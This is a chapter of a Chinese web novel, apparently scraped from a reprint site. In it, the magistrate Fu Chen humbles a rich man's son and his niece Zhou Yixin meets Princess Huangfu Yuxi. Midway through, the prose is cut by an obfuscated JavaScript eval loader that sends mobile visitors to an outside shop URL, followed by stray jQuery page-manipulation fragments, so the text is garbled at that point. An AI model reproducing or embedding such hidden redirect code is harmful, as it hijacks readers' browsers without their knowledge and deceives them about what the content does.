“舅舅!”见靠山来了,周绎心双眼一亮,令她十分惊讶的是傅沉一个文人,竟然大刀阔斧的提了一把宽刀,她悄悄竖了个大拇指,底气顿时足了很多。
刘明轩见傅沉来了,身板不由自主地坐直了,随后他又想到自己是占理的一方,当即又躺了回去,却没想到下一秒一道人影直冲冲的朝他而去!
抬手一巴掌就扇到了他那唯一能拿得出手的俊俏脸蛋上!力道之大,令众人瞪目结舌!
“你个逆子!”
“父亲!你为何打我!明明是她们伤了我!”刘明轩一脸震惊的看着眼前膀大腰圆的中年男子,来人正是刘明轩的父亲刘员外,他反手捏着刘明轩的耳朵,“还不跟周姑娘道歉!”
“哈,你知不知道你儿子差点就没……”刘明轩气急败坏,眼中满是不服输的倔强和委屈,不明白一向宠爱自己的父亲为何会帮着伤害他的人欺负自己,若说顾忌傅沉,他刘家势力根深蒂固,也不必做到如此地步!
“闭嘴!”刘员外手下用力,面目狰狞地在他耳边道:“逆子!想活命就闭嘴!回去再跟你说!”
周绎心看着这个转变有些纳闷,转头看向一旁的面色阴沉的傅沉,不知道他用了什么手段让这刘员外吓成这样?
“对,对不起!”刘明轩看着刘员外那能吃了他的眼神,当即极不情愿地和周绎心道歉,只不过那声音跟蚊子振翅声没什么两样,在刘员外的又一重击下,刘明轩怒声道:“周姑娘对不起!”
“对不起什么?”傅沉手重重一敲,手中一旋,他手中的宽刀同地面发出沉重的刺耳的金属音。
“我不应该拿你开玩笑!更不该让你给我当妾,污了你的名誉!”刘明轩被吓得跪到了地上,顾不得腿上剧烈的疼痛,他这下是真的怕了,他真的感觉傅沉能要了他的命!
他这才想起来,这位县令是拒绝了天子赐婚的狠人,若不是天子震怒,新科探花又怎会被发配到这小小的桃源县?这人连皇权都敢违背?又如何会在意他小小的一个员外之子?
傅沉面色稍松,算是满意这一幕,刘员外连忙命人将刘明轩抬起离开。
“刘员外,到底是我妹妹出手伤人在先,这该有的赔偿我定会一分不少地命人送到您的府上。”周绎心努力压着嘴角的笑意,实在是太爽了,有这么一个舅舅真好!说到底刘明轩差点伤了要害,这该有的赔偿自然是一分都不能少。若是不给,只怕没过半刻钟,这县里的流言蜚语就能将周灵微压死。
“多谢周姑娘!”刘员外朝她双手抱拳,随后就带着刘明轩我飞也似的跑走了,周绎心这下是真的纳闷了,她舅舅到底是干了什么事情能让他如此害怕?
“舅舅,你会使吗?”周绎心看着那把宽刀顿时有些眼熟,而那宽刀似乎是东边铁匠铺里,赵师傅宝贝至极、并不出售的镇店之宝!
“略懂。”傅沉缓缓收了刀,神色带了淡淡的笑,“若论武艺,我的骑射才是最佳!”
周绎心不由自主地仰头,脸上是难掩的骄傲之色!
见主角已走,众人也纷纷散了场,可楼内的姑娘们却纷纷以帕遮面,瞧着这往日未曾见过的霸气探花郎!一个两个的纷纷羞红了脸!
“县令大人好生威武!”一个生得云鬓花颜的姑娘取下了随身佩戴的香囊朝傅沉扔了过去,随后漫天飞舞的香囊雨充斥了整个视野。
周绎心是不介意自己多个舅妈的,但她怕疼啊!高空坠物不可取!
周绎心走到周灵微面前,见她紧紧攥着披风缩在角落里默不作声,就从怀里摸出了一块帕子递给她。
“擦擦,不然让外人见了,不知道的还以为我周府苛待你。”周绎心转身就走,傅沉没有接过任何一个香囊,而是提起宽刀跟在她的身后。
周灵微见此,囫囵打理着自己浑身的狼狈,随后才快步地追了上去,如今若是不回周府,她能去哪里?
可等她出去之后,并未发现周绎心的身影,她心中一酸,眼眶顿时就红了!她怎么就这么倒霉啊!
“灵微小姐!”
周灵微眼泪一顿,她连忙扭头看去这才发现菱香正在不远处看着她,显然是在等着她。
周灵微眼中的泪水再也控制不住,可想起周绎心刚才的话,她环顾四周,忙用帕子捂面飞快的跑到了马车上。
不能给姐姐丢人!
而另一边。
“没事就好,没事就好。”王宝宁将周绎心检查了一圈,确定她没有受伤后才松了口气,周绎心笑道:“谢谢你特意来通知我。”
“没事,正好我看到……”王宝宁剩下的话卡在了嗓子里,她惊恐地捂着嘴看着周绎心,知道自己刚才说漏了嘴,“我我我……你你你……你不许告诉别人!”
“这有什么不能说的?”周绎心给了她一个放心的眼神,这种事情她肯定不会说出去的,随后凑近促狭道:“怎么说?难不成这楼里还有男孩子?高不?帅吗?有八块腹肌人鱼线小蛮腰么?”
“嗯……”王宝宁被她和一连串的词汇整懵了,随后结结巴巴道:“挺,挺帅的,又温柔又体贴……我就是想着试一试,她们都说伤心的时候要以毒攻毒!”
“姐妹,下次还有这种好事情记得叫我哦!”周绎心双眼一亮,虽说她如今名花有主,可王宝宁这丫头实在是太单纯了,她害怕王宝宁被骗心骗财骗色!
“啊?好!”王宝宁双眸骤然放光,随后欢欢喜喜地踏上了回府的马车,周绎心满意地拍了拍手,一转身就看到了傅沉那如炬的目光,顿时讪讪地笑了笑。糟了,怎么忘记了这个封建大家长呀?
“阿心,你刚刚说什么?”
“啊?没什么啊?”周绎心以手作扇朝脸上扇风,强装镇定道:“今天天气真是太热了!”
“热?”
周绎心面上突然吹来一阵阴风,傅沉的目光压迫感十足,她这才发现,天空已经聚集了大片的乌云,这天可真是跟热一点边都不沾。
“傅郎,可别吓坏了孩子。”一道绮丽的笑声响起,周绎心四处搜寻,这才发现暗处巷子里还停着一辆衙门的马车,是傅沉的所有物。
一双
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579969|201928||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
玉指缓缓掀开车帘,面纱美人探出车帘的那一刻,暗色平凡的小巷顿时蓬荜生辉!
虽看不清面容,可那双明眸善睐的桃花眼却是勾魂夺魄,一眼就叫人丢了魂!
傅郎?这么亲昵的称呼?
周绎心略一回神,看向一旁看似面色如常、实则眸光发痴的傅沉,她敢拿自己的厨艺去赌!
这绝对是她未来的亲舅妈!
“对啊舅舅,我的亲亲舅妈都说你吓到我了!”
“别胡说!”谁知傅沉面色当即一变,连忙将她护在身后,随后朝马车行了一个恭敬的君臣之礼,“殿下,臣的侄女尚且年幼,误会了你我的关系,还望殿下不要计较!”
殿下?
那个对她舅舅爱而不得,却在天子盛怒之时保住他舅舅一条小命的公主殿下?
周绎心顿时跟着傅沉装模作样的行礼,要知道,永安公主皇甫玉曦乃皇后嫡出,一出生就得了永安的封号,是当今天子最为受宠的女儿!
“无妨,本宫倒是觉得阿心这称呼不错。”皇甫曦儿朝周绎心勾了勾手,一双桃花眼像是会说话似的,勾得周绎心不由自主地往前走,皇甫玉曦轻轻捏住她的下颌,称赞道:“这小脸的手感倒是不错,你舅舅可是夸了一句你的好手艺,正好本宫就住在你的府里了!”
“殿下,这于礼不合!”
“怎么?难不成让本宫跟着你住那破衙门?”皇甫玉曦面带愠怒,她那股与生俱来的皇室威压令人不自觉的屏住了呼吸,傅沉默道:“阿心到底年幼,恐唐突了殿下,臣会为公主准备最好的住所!”
“此事可由不得你。”皇甫玉曦示意周绎心上了马车,随后轻睨他一眼后就放下了帘子。
周绎心瞄了一眼面色凝重的傅沉,随后进了马车,这马车外表看着依旧普通,可却是内有乾坤,香炉袅袅,吹的是桃源县里最受女子追捧乌木春信香,软毯铺盖,装饰精美,车内的细节都看得出他的用心,哪里是傅沉之前那个家徒四壁的样子?
舅啊!承认吧,你真的很爱!
周绎心如坐针毡的看着对面雍容华贵的皇甫玉曦,有些无处是从。
她嘴上喊舅妈,但心里却门清,对方毕竟是尊贵受宠的公主,这算是她穿越到此,头一次遇到的天潢贵胄!
“心儿,这般拘谨,可是不拿我当你的舅妈了?”
“啊不……”周绎心琢磨着,这公主应该是喜欢她家舅舅的,虽说他舅舅古板、沉闷、无趣,但那张脸长得实在是俊呀!又有学识和功名加身!
“舅妈!”
“哎!”皇甫玉曦看出她的局促,随口问了几句傅沉的近况,着重在于傅沉有没有背着她惹上风流债。
在得知他整日忙于公务,修缮道路,无暇顾及那些示爱的女子时,当即满意的笑出了声。
“傅郎的风流债,有本宫一桩就足够了。”皇甫玉曦想起她进城看到的一切,对周绎心的回答没有怀疑,都说桃源县落后偏僻,可她看到的却是欣欣向荣,蒸蒸日上。
“腹肌是什么东西?”